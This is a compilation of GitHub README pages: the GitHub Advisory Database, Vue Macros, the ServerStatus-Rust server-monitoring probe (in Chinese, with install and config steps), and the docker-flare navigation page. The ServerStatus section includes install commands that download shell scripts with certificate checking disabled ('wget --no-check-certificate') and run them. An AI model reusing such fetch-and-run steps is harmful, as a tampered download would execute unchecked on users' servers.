GitHub](https://docs.github.com/en/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories) - The [National Vulnerability Database](https://nvd.nist.gov/) - The [npm Security Advisories Database](https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm) - The [FriendsOfPHP Database](https://github.com/FriendsOfPHP/security-advisories) - The [Go Vulnerability Database](https://vuln.go.dev/) - The [Python Packaging Advisory Database](https://github.com/pypa/advisory-database) - The [Ruby Advisory Database](https://rubysec.com/) - The [RustSec Advisory Database](https://rustsec.org/) - [Community contributions to this repository](https://github.com/github/advisory-database/pulls) If you know of another database we should be importing advisories from, tell us about it by [opening an issue in this repository](https://github.com/github/advisory-database/issues). ## Contributions There are two ways to contribute to the information provided in this repository. From any individual advisory on [github.com/advisories](https://github.com/advisories), click **Suggest improvements for this vulnerability** (shown below) to open an "Improve security advisory" form. Edit the information in the form and click **Submit improvements** to open a pull request with your proposed changes.  Alternatively, you can submit a pull request directly against a file in this repository. To do so, follow the [contribution guidelines](https://github.com/github/advisory-database/blob/main/CONTRIBUTING.md). ## Supported ecosystems Unfortunately, we cannot accept community contributions to advisories outside of our supported ecosystems. Our curation team reviews each community contribution thoroughly and needs to be able to assess each change. Generally speaking, our ecosystems are the namespace used by a package registry. As such they’re focused on packages within the registry which tend to be dependencies used in software development. Our supported ecosystems are: - Composer (registry: https://packagist.org) - Erlang (registry: https://hex.pm/) - GitHub Actions (registry: https://github.com/marketplace?type=actions) - Go (registry: https://pkg.go.dev/) - Maven (registry: https://repo.maven.apache.org/maven2) - npm (registry: https://www.npmjs.com/) - NuGet (registry: https://www.nuget.org/) - pip (registry: https://pypi.org/) - Pub (registry: https://pub.dev/) - RubyGems (registry: https://rubygems.org/) - Rust (registry: https://crates.io/) - Swift (registry: [namespaced by dns](https://datatracker.ietf.org/doc/html/rfc1035)) If you have a suggestion for a new ecosystem we should support, please open an [issue](https://github.com/github/advisory-database/issues) for discussion. ## License This project is licensed under the terms of the CC-BY 4.0 open source license. Please [see our documentation](https://docs.github.com/en/github/site-policy/github-terms-for-additional-products-and-features#12-advisory-database) for the full terms. ## GHSA IDs Each security advisory, regardless of its type, has a unique identifier referred to as a `GHSA ID`. A `GHSA-ID` qualifier is assigned when a new advisory is created on GitHub or added to the GitHub Advisory Database from any of the supported sources. The syntax of GHSA IDs follows this format: `GHSA-xxxx-xxxx-xxxx` where * `x` is a letter or a number from the following set: `23456789cfghjmpqrvwx`. * Outside the `GHSA` portion of the name: * The numbers and letters are randomly assigned. * All letters are lowercase. You can validate a GHSA ID using a regular expression: `/GHSA(-[23456789cfghjmpqrvwx]{4}){3}/` ## `database_specific` Values The OSV Schema supports several `database_specific` JSON object fields that are used to add context to various other parts of the OSV schema, namely an [affected package](https://ossf.github.io/osv-schema/#affecteddatabase_specific-field), a package's [affected ranges](https://ossf.github.io/osv-schema/#affectedrangesdatabase_specific-field), and the [vulnerability](https://ossf.github.io/osv-schema/#database_specific-field) as a whole. Per the spec, these fields are used for holding additional information about the package, range, or vulnerability "as defined by the database from which the record was obtained." It additionally stipulates that the meaning and format of these custom values "is entirely defined by the database [of record]" and outside of the scope of the OSV Schema itself. For its purposes, GitHub uses a number of `database_specific` values in its OSV files. They are used primarily in support of [Community Contributions](#contributions) and are intended for internal use only unless otherwise specified. These values and their format are subject to change without notice. Consuming systems should not rely on them for processing vulnerability information. | **Scope** | **Field** | **Purpose** | |---|---|---| | vulnerability | `severity` | The OSV schema supports quantitative severity scores such as CVSS. GitHub additionally assigns each vulnerability a non-quantitative human-readable severity value. | | vulnerability | `cwe_ids` | GitHub assigns each vulnerability at least one Common Weakness Enumeration (CWE) as part of its vulnerability curation process. These IDs map directly to CWE IDs tracked in the [CWE Database](https://cwe.mitre.org/). | | vulnerability | `github_reviewed` | Whether a vulnerability has been reviewed by one of GitHub's Security Curators. | | vulnerability | `github_reviewed_at` | The timestamp of the last review by a GitHub Security Curator. | | range | `last_known_affected_version_range` | The OSV schema does not have native support for all of the potential ways GitHub represents vulnerabile version ranges internally. It is used to track version range information that is not representable in OSV format, or that GitHub needs to be able to track separately from the OSV ranges. This field may appear in addition to or in place of OSV affected range events. See [this comment](https://github.com/github/advisory-database/issues/470#issuecomment-1998604377) a technical explanation. | ## FAQ ### Who reviews the pull requests? Our internal Security Advisory Curation team reviews the pull requests. They make the ultimate decision to merge or close. If the advisory originated from a GitHub repository, we will also @mention the original publisher for optional commentary. ### Why is the base branch changed on a PR? This repository is a mirror of our advisory database. All contributions to this repository are merged into the main branch via our primary data source to preserve data integrity. We automatically create a staging branch for each PR to preserve the GitHub workflow you're used to. When a contribution is accepted from a PR in this repository, the changes are merged into the staging branch and then pushed to the primary data source to be merged into main by a separate process, at which point the staging branch is deleted. ### Will the structure of the database change? Here at GitHub, we ship to learn! As usage patterns emerge, we may iterate on how we organize this database and potentially make backwards-incompatible changes to it. ### Where can I get more information about GitHub advisories? Information about creating a repository security advisory can be found [here](https://docs.github.com/en/code-security/repository-security-advisories/creating-a-repository-security-advisory), and information about browsing security advisories in the GitHub Advisory Database can be found [here](https://docs.github.com/en/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database).

Security vulnerability database inclusive of CVEs and GitHub originated security advisories from the world of open source software.

vue-macros/vue-macros

<p align="center"> <img src="./docs/public/logo.svg" width="200px" /> </p> <h1 align="center">Vue Macros</h1> <p align="center">Explore more macros and syntax sugar to Vue.</p> <p align="center"> <a href="https://npmjs.com/package/unplugin-vue-macros"> <img src="https://img.shields.io/npm/v/unplugin-vue-macros.svg" alt="NPM version"> </a> </p> <p align="center"> <a href="https://vue-macros.dev/">📜 Documentation</a> </p> ## Features - ✨ Explore more macros and syntax sugar to Vue. - 💚 Supports both Vue 2.7 and Vue 3 out-of-the-box. - 🦾 Full TypeScript / Volar support. - ⚡️ Supports Vite, Nuxt, Webpack, Vue CLI, Rollup 3, esbuild and more, powered by [unplugin](https://github.com/unjs/unplugin). ## Installation ```bash npm i -D unplugin-vue-macros ``` ## Sponsors <p align="center"> <a href="https://cdn.jsdelivr.net/gh/sxzz/sponsors/sponsors.wide.svg"> <img src='https://cdn.jsdelivr.net/gh/sxzz/sponsors/sponsors.wide.svg'/> </a> </p> ## Contributors 💕 Thank you to all the contributors! <p align="center"> <a href="https://github.com/vue-macros/vue-macros/graphs/contributors"> <img src="https://contrib.rocks/image?repo=vue-macros/vue-macros" /> </a> </p> ## Related Libraries - [vue-functional-ref](https://github.com/sxzz/vue-functional-ref) - Functional-style refs for Vue. ## License [MIT](./LICENSE) License © 2022-PRESENT [三咲智子](https://github.com/sxzz)

Explore and extend more macros and syntax sugar to Vue.

vue,unplugin,rollup,vite,esbuild,sfc,script-setup,options,webpack,macros

zdz/ServerStatus-Rust

<p align="center"> <a href="https://github.com/zdz/ServerStatus-Rust"> <h1 align="center">✨ Rust 版 ServerStatus 云探针</h1> </a> </p> <div align="center"> <p> <a href="https://github.com/zdz/ServerStatus-Rust/actions/workflows/release.yml"> <img src="https://github.com/zdz/ServerStatus-Rust/actions/workflows/release.yml/badge.svg" alt="Release"></a> <a href="https://github.com/zdz/ServerStatus-Rust/issues"> <img src="https://img.shields.io/github/issues/zdz/ServerStatus-Rust" alt="GitHub issues"> </a> <a href="https://github.com/zdz/ServerStatus-Rust/discussions"> <img src="https://img.shields.io/github/discussions/zdz/ServerStatus-Rust" alt="GitHub Discussions"> </a> <a href="https://github.com/zdz/ServerStatus-Rust/releases"> <img src="https://img.shields.io/github/v/release/zdz/ServerStatus-Rust" alt="GitHub release (latest SemVer)"> </a> <a href="https://github.com/zdz/ServerStatus-Rust/releases"> <img src="https://img.shields.io/github/downloads/zdz/ServerStatus-Rust/total" alt="GitHub all releases"> </a> </p> </div> <img width="1317" alt="image" src="https://user-images.githubusercontent.com/152173/206825541-6eaeb856-0c03-479a-b07e-006b60b41c02.png"> <img width="1436" alt="image" src="https://user-images.githubusercontent.com/152173/165958225-25fc8fda-5798-42f8-bac5-72d778c0bab5.png"> <h2>Table of Contents</h2> - [1. 介绍](#1-介绍) - [🍀 主题](#-主题) - [2. 安装部署](#2-安装部署) - [2.1 快速体验](#21-快速体验) - [2.2 快速部署](#22-快速部署) - [2.3 服务管理脚本](#23-服务管理脚本) - [2.4 Railway 部署](#24-railway-部署) - [2.5 Heroku 部署](#25-heroku-部署) - [3. 服务端说明](#3-服务端说明) - [3.1 配置文件 `config.toml`](#31-配置文件-configtoml) - [3.2 服务端运行](#32-服务端运行) - [4. 客户端说明](#4-客户端说明) - [4.1 Rust 版 Client](#41-rust-版-client) - [4.2 Python 版 Client](#42-python-版-client) - [5. 开启 `vnstat` 支持](#5-开启-vnstat-支持) - [6. FAQ](#6-faq) - [7. 相关项目](#7-相关项目) - [8. 最后](#8-最后) ## 1. 介绍 `ServerStatus` 威力加强版，保持轻量和简单部署，增加以下主要特性： - 使用 `rust` 完全重写 `server`、`client`，单个执行文件部署 - 多系统支持 `Linux`、`MacOS`、`Windows`、`Android`、`Raspberry Pi` - 支持上下线和简单自定义规则告警 (`telegram`、`wechat`、`email`、`webhook`) - 支持 `http` 协议上报，方便部署到各免费容器服务和配合 `cf` 等优化上报链路 - 支持 `cloudflare tunnels` 和 `mTLS` 部署 - 支持主机分组动态注册，简化配置 - 支持 `vnstat` 统计月流量，重启不丢流量数据 - 支持 `railway` 快速部署 - 支持 `systemd` 开机自启 - 其它功能，如 🗺️ 见 [wiki](https://github.com/zdz/ServerStatus-Rust/wiki) 演示：[ssr.rs](https://ssr.rs) | [cn dns](https://ck.ssr.rs) | 下载：[Releases](https://github.com/zdz/ServerStatus-Rust/releases) | [Changelog](https://github.com/zdz/ServerStatus-Rust/releases) | 反馈：[Discussions](https://github.com/zdz/ServerStatus-Rust/discussions) 📚 完整文档迁移至 [doc.ssr.rs](https://doc.ssr.rs) 📚 保姆级教程 [Google](https://www.google.com/search?q=%22serverstatus-rust%22) | [Bing](https://www.bing.com/search?q=%22serverstatus-rust%22) ### 🍀 主题 如果你觉得你创造/修改的主题还不错，欢迎分享/PR，前端单独部署方法参考 [#37](https://github.com/zdz/ServerStatus-Rust/discussions/37) <details> <summary>ServerStatus-theme 主题</summary> 作者 [@JingBh](https://github.com/JingBh) 👉 [主题地址](https://github.com/JingBh/ServerStatus-theme) 支持快速部署一键命令生成 | <img width="1269" alt="image" src="https://github.com/zdz/ServerStatus-Rust/assets/152173/33eb8685-b0ed-4548-92af-8cfdded7d011"> | <img width="596" alt="image" src="https://github.com/zdz/ServerStatus-Rust/assets/152173/15e9c405-6491-4f41-ad0e-68aae96d709c"> | |-|-| [演示：Demo](https://status.jingbh.cloud) </details> <details> <summary>ServerStatus-Theme-Light 主题</summary> 👉 [主题地址](https://github.com/orilights/ServerStatus-Theme-Light) 作者 [@orilights](https://github.com/orilights) <img width="1836" alt="image" src="https://github.com/zdz/ServerStatus-Rust/assets/152173/35fdd138-31b8-46d0-8ea8-c2d4e7ef2b52"> [演示：Demo](https://sstl-demo.orilight.top) </details> <details> <summary>Hotaru 主题</summary> Hotaru 主题由 [@HinataKato](https://github.com/HinataKato) 修改提供，[主题地址](https://github.com/HinataKato/hotaru_theme_for_RustVersion) <img width="1202" alt="image" src="https://user-images.githubusercontent.com/152173/167900971-5ef0c23a-af43-4f52-aab5-d58e4a66c8ea.png"> </details> <details> <summary>ServerStatus-web 主题</summary> ServerStatus-web 主题由 [@mjjrock](https://github.com/mjjrock) 修改提供，[主题地址](https://github.com/mjjrock/ServerStatus-web) <img width="1425" alt="image" src="https://user-images.githubusercontent.com/102237118/171837653-3a5b2cd6-bf02-4602-a132-2c80a6707f68.png"> </details> <details> <summary>v1.5.7 版本主题</summary> [演示：Demo](https://tz-rust.vercel.app) <img width="1215" alt="image" src="https://user-images.githubusercontent.com/152173/165957689-d35714a9-f7f8-49f7-9573-97d4cf3c2f79.png"> </details> ## 2. 安装部署 ### 2.1 快速体验 ```bash # for CentOS/Debian/Ubuntu x86_64 mkdir -p /opt/ServerStatus && cd /opt/ServerStatus # apt install -y unzip / yum install -y unzip wget --no-check-certificate -qO one-touch.sh 'https://raw.githubusercontent.com/zdz/ServerStatus-Rust/master/scripts/one-touch.sh' bash -ex one-touch.sh # 部署完毕，打开 http://127.0.0.1:8080/ 或 http://<你的IP>:8080/ # 自定义部署可参照 scripts/one-touch.sh 脚本 ``` ### 2.2 快速部署 👉 [快速部署](https://doc.ssr.rs/rapid_deploy) ### 2.3 服务管理脚本 <details> <summary>服务管理脚本说明</summary> 由 [@Colsro](https://github.com/Colsro) & [@Yooona-Lim](https://github.com/Yooona-Lim) 贡献 ```bash # 下载脚本 wget --no-check-certificate -qO status.sh 'https://raw.githubusercontent.com/zdz/ServerStatus-Rust/master/scripts/status.sh' # 安装 服务端 bash status.sh -i -s # 安装 客户端 bash status.sh -i -c # or bash status.sh -i -c protocol://username:password@master:port # eg: bash status.sh -i -c grpc://h1:p1@127.0.0.1:9394 bash status.sh -i -c http://h1:p1@127.0.0.1:8080 # 更多用法： ❯ bash status.sh help: -i,--install 安装 Status -i -s 安装 Server -i -c 安装 Client -i -c conf 自动安装 Client -up,--upgrade 升级 Status -up -s 升级 Server -up -c 升级 Client -up -a 升级 Server和Client -un,--uninstall 卸载 Status -un -s 卸载 Server -un -c 卸载 Client -un -a 卸载 Server and Client -rc,--reconfig 更改 Status 配置 -rc 更改 Client 配置 -rc conf 自动更改 Client配置 -s,--server 管理 Status 运行状态 -s {status|start|stop|restart} -c,--client 管理 Client 运行状态 -c {status|start|stop|restart} -b,--bakup 备份 Status -b -s 备份 Server -b -c 备份 Client -b -a 备份 Server and Client -rs,--restore 恢复 Status -rs -s 恢复 Server -rs -c 恢复 Client -rs -a 恢复 Server and Client -h,--help 查看帮助 若无法访问 Github: CN=true bash status.sh args ``` </details> ### 2.4 Railway 部署 懒得配置 `Nginx`，`SSL` 证书？试试 [在 Railway 部署 Server](https://github.com/zdz/ServerStatus-Rust/wiki/Railway) [](https://railway.app/new/template/kzT46l?referralCode=pJYbdU) ### 2.5 Heroku 部署 [如何在 Heroku 上部署 Rust 版 ServerStatus 云探针](https://github.com/zdz/ServerStatus-Rust/blob/master/heroku/README.md) ## 3. 服务端说明 ### 3.1 配置文件 `config.toml` ```toml # 侦听地址, ipv6 使用 [::]:9394 grpc_addr = "0.0.0.0:9394" http_addr = "0.0.0.0:8080" # 默认30s无上报判定下线 offline_threshold = 30 # 管理员账号,不设置默认随机生成，用于查看 /detail, /map admin_user = "" admin_pass = "" # hosts 跟 hosts_group 两种配置模式任挑一种配置即可 # name 主机唯一标识，不可重复，alias 为展示名 # notify = false 单独禁止单台机器的告警，一般针对网络差，频繁上下线 # monthstart = 1 没启用vnstat时，表示月流量从每月哪天开始统计 # disabled = true 单机禁用 # location 支持国旗 emoji https://emojixd.com/group/flags # 或国家缩写，如 cn us 等等，所有国家见目录 web/static/flags # 自定义标签 labels = "os=centos;ndd=2022/11/25;spec=2C/4G/60G;" # os 标签可选，不填则使用上报数据，ndd(next due date) 下次续费时间, spec 为主机规格 # os 可用值 centos debian ubuntu alpine pi arch windows linux hosts = [ {name = "h1", password = "p1", alias = "n1", location = "🏠", type = "kvm", labels = "os=arch;ndd=2022/11/25;spec=2C/4G/60G;"}, {name = "h2", password = "p2", alias = "n2", location = "🏢", type = "kvm", disabled = false}, {name = "h3", password = "p3", alias = "n3", location = "🏡", type = "kvm", monthstart = 1}, {name = "h4", password = "p4", alias = "n4", location = "cn", type = "kvm", notify = true, labels = "ndd=2022/11/25;spec=2C/4G/60G;"}, ] # 动态注册模式，不再需要针对每一个主机做单独配置 # gid 为模板组id, 动态注册唯一标识，不可重复 hosts_group = [ # 可以按国家地区或用途来做分组 {gid = "g1", password = "pp", location = "🏠", type = "kvm", notify = true}, {gid = "g2", password = "pp", location = "🏢", type = "kvm", notify = true}, # 例如不发送通知可以单独做一组 {gid = "silent", password = "pp", location = "🏡", type = "kvm", notify = false}, ] # 动态注册模式下，无效数据清理间隔，默认 30s group_gc = 30 # 不开启告警，可忽略后面配置，或者删除不需要的通知方式 # 告警间隔默认为30s notify_interval = 30 # https://core.telegram.org/bots/api # https://jinja.palletsprojects.com/en/3.0.x/templates/#if [tgbot] # 开关 true 打开 enabled = false bot_token = "<tg bot token>" chat_id = "<chat id>" # host 可用字段见 payload.rs 文件 HostStat 结构, {{host.xxx}} 为占位变量 # 例如 host.name 可替换为 host.alias，大家根据自己的喜好来编写通知消息 # {{ip_info.query}} 主机 ip, {{sys_info.host_name}} 主机 hostname title = "❗<b>Server Status</b>" online_tpl = "{{config.title}} \n😆 {{host.location}} {{host.name}} 主机恢复上线啦" offline_tpl = "{{config.title}} \n😱 {{host.location}} {{host.name}} 主机已经掉线啦" # custom 模板置空则停用自定义告警，只保留上下线通知 custom_tpl = """ {% if host.memory_used / host.memory_total > 0.5 %} <pre>😲 {{host.name}} 主机内存使用率超50%, 当前{{ (100 * host.memory_used / host.memory_total) | round }}% </pre> {% endif %} {% if host.hdd_used / host.hdd_total > 0.5 %} <pre>😲 {{host.name}} 主机硬盘使用率超50%, 当前{{ (100 * host.hdd_used / host.hdd_total) | round }}% </pre> {% endif %} """ # wechat, email, webhook 等其它通知方式 配置详细见 config.toml ``` ### 3.2 服务端运行 ```bash # systemd 方式， 参照 scripts/one-touch.sh 脚本 (推荐) # 💪 手动方式 # help ./stat_server -h # 手动运行 ./stat_server -c config.toml # 或 RUST_BACKTRACE=1 RUST_LOG=trace ./stat_server -c config.toml # 测试配置文件是否有效 ./stat_server -c config.toml -t # 根据配置发送测试消息，验证通知是否生效 ./stat_server -c config.toml --notify-test # 🐳 docker 方式 wget --no-check-certificate -qO docker-compose.yml 'https://raw.githubusercontent.com/zdz/ServerStatus-Rust/master/docker-compose.yml' wget --no-check-certificate -qO config.toml 'https://raw.githubusercontent.com/zdz/ServerStatus-Rust/master/config.toml' touch stats.json docker-compose up -d ``` ## 4. 客户端说明 <details> <summary>系统版本&架构</summary> | OS | Release | | ---- | ---- | | Linux x86_64 | x86_64-unknown-linux-musl | | Linux arm64 | aarch64-unknown-linux-musl | | MacOS x86_64 | x86_64-apple-darwin | | MacOS arm64 | aarch64-apple-darwin | | Windows x86_64 | x86_64-pc-windows-msvc | | Raspberry Pi | armv7-unknown-linux-musleabihf | | Android 64bit | aarch64-linux-android | | Android 32bit | armv7-linux-androideabi | </details> ### 4.1 Rust 版 Client ```bash # 公网环境建议 headscale/nebula 组网或走 https, 使用 nginx 对 server 套 ssl 和自定义 location /report # alpine linux 需要安装相关命令 apk add procps iproute2 coreutils # 如果 Rust 版客户端在你的系统无法使用，请切换到下面 4.2 Python 跨平台版本 # systemd 方式， 参照 scripts/one-touch.sh 脚本 (推荐) # 💪 手动方式 # Rust 版本 Client ./stat_client -h ./stat_client -a "http://127.0.0.1:8080/report" -u h1 -p p1 # 或 ./stat_client -a "grpc://127.0.0.1:9394" -u h1 -p p1 # 不同的主机可以运行相同的命令注册到同一组 ./stat_client -a "http://127.0.0.1:8080/report" -g g1 -p pp --alias "$(hostname)" # rust client 可用参数 ./stat_client -h OPTIONS: -6, --ipv6 ipv6 only, default:false -a, --addr <ADDR> [default: http://127.0.0.1:8080/report] --alias <ALIAS> alias for host [default: unknown] --cm <CM_ADDR> China Mobile probe addr [default: cm.tz.cloudcpp.com:80] --ct <CT_ADDR> China Telecom probe addr [default: ct.tz.cloudcpp.com:80] --cu <CU_ADDR> China Unicom probe addr [default: cu.tz.cloudcpp.com:80] --disable-extra disable extra info report, default:false --disable-notify disable notify, default:false --disable-ping disable ping, default:false --disable-tupd disable t/u/p/d, default:false -g, --gid <GID> group id [default: ] -h, --help Print help information --ip-info show ip info, default:false --ip-source <IP_SOURCE> ip info source [env: SSR_IP_SOURCE=] [default: ip-api.com] --sys-info show sys info, default:false --json use json protocol, default:false --location <LOCATION> location [default: ] -n, --vnstat enable vnstat, default:false --vnstat-mr <VNSTAT_MR> vnstat month rotate 1-28 [default: 1] -p, --pass <PASS> password [default: p1] -t, --type <HOST_TYPE> host type [default: ] -u, --user <USER> username [default: h1] -V, --version Print version information -w, --weight <WEIGHT> weight for rank [default: 0] # 一些参数说明 --ip-info # 显示本机ip信息后立即退出，目前使用 ip-api.com 数据 --ip-source # 指定 ip 信息源，ip-api.com / ip.sb / ipapi.co / myip.la --sys-info # 显示本机系统信息后立即退出 --disable-extra # 不上报系统信息和IP信息 --disable-ping # 停用三网延时和丢包率探测 --disable-tupd # 不上报 tcp/udp/进程数/线程数，减少CPU占用 -w, --weight # 排序加分，微调让主机靠前显示，无强迫症可忽略 -g, --gid # 动态注册的组id --alias # 动态注册模式下，指定主机的展示名字 # 总流量，网卡流量/网速统计 -i, --iface # 非空时，只统计指定网口 -e, --exclude-iface # 排除指定网口，默认排除 "lo,docker,vnet,veth,vmbr,kube,br-" ``` ### 4.2 Python 版 Client <details> <summary> Python 版 Client 说明</summary> ```bash # Python 版本 Client 依赖安装 ## Centos yum -y install epel-release yum -y install python3-pip gcc python3-devel python3 -m pip install psutil requests py-cpuinfo ## Ubuntu/Debian apt -y install python3-pip python3 -m pip install psutil requests py-cpuinfo ## Alpine linux apk add wget python3 py3-pip gcc python3-dev musl-dev linux-headers apk add procps iproute2 coreutils python3 -m pip install psutil requests py-cpuinfo wget --no-check-certificate -qO stat_client.py 'https://raw.githubusercontent.com/zdz/ServerStatus-Rust/master/client/stat_client.py' ## Windows # 安装 python 3.10 版本，并设置环境变量 # 命令行执行 pip install psutil requests # 下载 https://raw.githubusercontent.com/zdz/ServerStatus-Rust/master/client/stat_client.py pip install psutil requests py-cpuinfo python3 stat_client.py -h python3 stat_client.py -a "http://127.0.0.1:8080/report" -u h1 -p p1 ``` </details> ## 5. 开启 `vnstat` 支持 [vnstat](https://zh.wikipedia.org/wiki/VnStat) 是Linux下一个流量统计工具，开启 `vnstat` 后，`server` 完全依赖客户机的 `vnstat` 数据来显示月流量和总流量，优点是重启不丢流量数据。 <details> <summary>开启 vnstat 设置</summary> ```bash # 在client端安装 vnstat ## Centos sudo yum install epel-release -y sudo yum install -y vnstat ## Ubuntu/Debian sudo apt install -y vnstat # 修改 /etc/vnstat.conf # BandwidthDetection 0 # MaxBandwidth 0 # 默认不是 eth0 网口的需要置空 Interface 来自动选择网口 # 没报错一般不需要改 # Interface "" systemctl restart vnstat # 确保 version >= 2.6 vnstat --version # 测试查看月流量 (刚安装可能需等一小段时间来采集数据) vnstat -m vnstat --json m # client 使用 -n 参数开启 vnstat 统计 ./stat_client -a "grpc://127.0.0.1:9394" -u h1 -p p1 -n # 或 python3 stat_client.py -a "http://127.0.0.1:8080/report" -u h1 -p p1 -n ``` </details> ## 6. FAQ <details> <summary>如何使用自定义主题</summary> 更简单的方式 👉 [#37](https://github.com/zdz/ServerStatus-Rust/discussions/37) ```nginx server { # ssl, domain 等其它 nginx 配置 # 反代 /report 请求 location = /report { proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Port $server_port; proxy_pass http://127.0.0.1:8080/report; } # 反代 json 数据请求 location = /json/stats.json { proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Port $server_port; proxy_pass http://127.0.0.1:8080/json/stats.json; } # v1.4.0后，同样需要反代 /detail, /map # 其它 html,js,css 等，走本地文本 location / { root /opt/ServerStatus/web; # 你自己修改的主题目录 index index.html index.htm; } } ``` </details> <details> <summary>如何源码编译</summary> ```bash # cargo install stat_server cargo install stat_client # or # 按提示安装 rust 编译器 curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh yum install -y openssl-devel git clone https://github.com/zdz/ServerStatus-Rust.git cd ServerStatus-Rust cargo build --release # 编译好的文件目录 target/release ``` </details> <details> <summary>如何自定义 ping 地址</summary> ```bash # 例如自定义移动探测地址，用 --cm 指定地址 ./stat_client -a "grpc://127.0.0.1:9394" -u h1 -p p1 --cm=cm.tz.cloudcpp.com:80 # 电信联通参数可以使用 -h 命令查看 ./stat_client -h OPTIONS: --cm <CM_ADDR> China Mobile probe addr [default: cm.tz.cloudcpp.com:80] --ct <CT_ADDR> China Telecom probe addr [default: ct.tz.cloudcpp.com:80] --cu <CU_ADDR> China Unicom probe addr [default: cu.tz.cloudcpp.com:80] ``` </details> <details> <summary>关于这个轮子</summary> 之前一直在使用 `Prometheus` + `Grafana` + `Alertmanager` + `node_exporter` 做VPS监控，这也是业界比较成熟的监控方案，用过一段时间后，发现非生产环境，很多监控指标都用不上，运维成本有点大。 而 `ServerStatus` 很好，足够简单和轻量，一眼可以看尽所有小机机，只是 `c++` 版本很久没迭代过，自己的一些需求在原版上不是很好修改，如自带 `tcp` 上报对跨区机器不是很友好，也不方便对上报的链路做优化 等等。这是学习 `Rust` 练手的小项目，所以不会增加复杂功能，保持小而美，简单部署，配合 [Uptime Kuma](https://github.com/louislam/uptime-kuma) 基本上可以满足个人大部分监控需求。 </details> ## 7. 相关项目 - https://github.com/BotoX/ServerStatus - https://github.com/cppla/ServerStatus - https://github.com/mojeda/ServerStatus - https://github.com/cokemine/ServerStatus-Hotaru - https://github.com/ToyoDAdoubiBackup/ServerStatus-Toyo ## 8. 最后 很高兴我的代码能跑在你的服务器上，如果对你有帮助的话，欢迎留下你的 star ⭐ 支持一下

✨ Rust 版 ServerStatus 探针、威力加强版

rust,serverstatus,serverstatus-rust,railway,vnstat,telegram,wechat,webhook,probe

soulteary/docker-flare

# Flare ✨ [](https://github.com/soulteary/flare/actions/workflows/codeql-analysis.yml) [](https://github.com/soulteary/flare/actions/workflows/scan.yml) [](https://github.com/soulteary/flare/actions/workflows/release.yml)  [](https://hub.docker.com/r/soulteary/flare) 如果你觉得这个项目有帮到你，欢迎点赞✨（star）给予鼓励；如果你希望收到这个项目的更新推送，可以点击关注 👀（watch）并选择适合自己的关注模式（推荐 release）。 --- 轻量、快速、美观的个人导航页面，适用于 HomeLab 或其他注重私密的场景。 无任何数据库依赖，应用数据完全开放透明，100% 属于用户自己。 支持在线编辑，内置 Material Design Icons 6k+ 图标，目前累计下载过万，期待你的反馈 :) 支持 x86 以及常见的 ARM (ARM32v6、ARM32v7、ARM64v8)设备，应用资源消耗非常低： - CPU: < 1% - MEM: < 30M - Docker Image: < 10M <img src="screenshots/docker-pulls.png" width="90%"/> <img src="screenshots/docker-image-size.png" width="90%"/> ## 快速上手 快速上手 Flare，需要两步：**下载**包含示例的代码、**启动**程序访问浏览器。 ### 下载包含示例的代码 你可以使用 `git clone` 或者选择使用 “Download ZIP” 的方式，下载包含了基础的配置示例（书签和应用）的代码： ```bash git clone https://github.com/soulteary/docker-flare.git cd docker-flare ``` `app/*yml` 目录中包含了你的书签和应用数据，你可以根据你的需求对其进行调整。如果目录中没有配置文件，应用将在首次运行的时候，进行自动创建。 ### 启动程序访问浏览器 启动应用非常简单，如果你习惯使用 Docker，可以执行： ```bash # 可以使用最新镜像 docker pull soulteary/flare docker run --rm -it -p 5005:5005 -v `pwd`/app:/app soulteary/flare # 也可以追求明确，使用固定版本 docker pull soulteary/flare:0.5.1 docker run --rm -it -p 5005:5005 -v `pwd`/app:/app soulteary/flare:0.5.1 ``` 如果你习惯使用 docker-compose，只需要执行： ```bash docker-compose up -d ``` 如果你是 Traefik 用户，可以参考 `docker-compose.traefik.yml` 配置文件来使用。 不论是哪一种方式，在命令执行完毕之后，默认情况下，我们访问浏览器的 `5005` 端口，就能看到下面的界面啦：  ### 程序使用向导 为了方便你的使用，我制作了一个简单的向导程序，在 flare 启动之后，你可以随时访问 `/guide`，获取 flare 基础界面功能的介绍。  ## 程序在线编辑页面 为了满足随时随地编辑的需求，程序新增了“在线编辑”的页面。  工具页面地址：`/editor` ## 程序帮助页面 为了减少不必要的地址记忆负担，程序新增了一个“帮助页面”，默认展示所有的程序内的工具页面。  工具页面地址：`/help` ## 程序性能 “快”作为 Flare 对主要优势而言，自然是需要“满分”来加持。  如果你好奇这是如何实现的，可以阅读这篇文章：[《Flare 制作记录：应用前后端性能优化》](https://soulteary.com/2022/01/19/flare-production-record-application-frontend-and-backend-performance-optimization.html)。 ## 进阶文档 - [自定义启动参数](./docs/advanced-startup.md) - [关闭免登陆模式后，如何设置用户账号](./docs/application-account.md) - [如何挑选和使用图标](./docs/material-design-icons.md) - [如何和 Traefik 一起使用](https://github.com/soulteary/traefik-example) ## 相比较 Flame - 服务资源消耗极低，可以跑在任何规格的机器上，甚至是一台搭载2015年S805芯片的ARM盒子。 - 程序页面性能非常好，渲染速度更快，支持同时渲染大量（数千）书签，而不必担心风扇起飞。 - 使用声明的配置来进行导航内容的管理，无需担心数据迁移问题。 - 简化了天气数据的获取方式，不再需要申请天气网站的 `API_KEY` ，避免了不必要的成本开销。 - 简化了 Flame 中的K8S、Docker 集成等不必要的功能。 - 内置了大量风格统一、高质量的矢量图标，减少选择困难症，确保界面长期“耐看”。 - 默认使用免登陆模式，避免 HomeLab、本地使用的用户有额外的登陆操作。 ## 关于内置图标 程序内置了目前 [materialdesignicons.com](https://materialdesignicons.com/) 中所有的 Material Design Icons，你可以让你的每一个书签都拥有风格统一、高质量的矢量图标。  更多信息，可以参考 [如何挑选和使用图标](./docs/material-design-icons.md)。 ## TODO - [ ] 持续完善程序定制化功能 - [ ] 支持使用 API 进行内容管理 - [ ] 支持自定义主题配色 ## Thanks Inspired by https://github.com/pawelmalak/flame

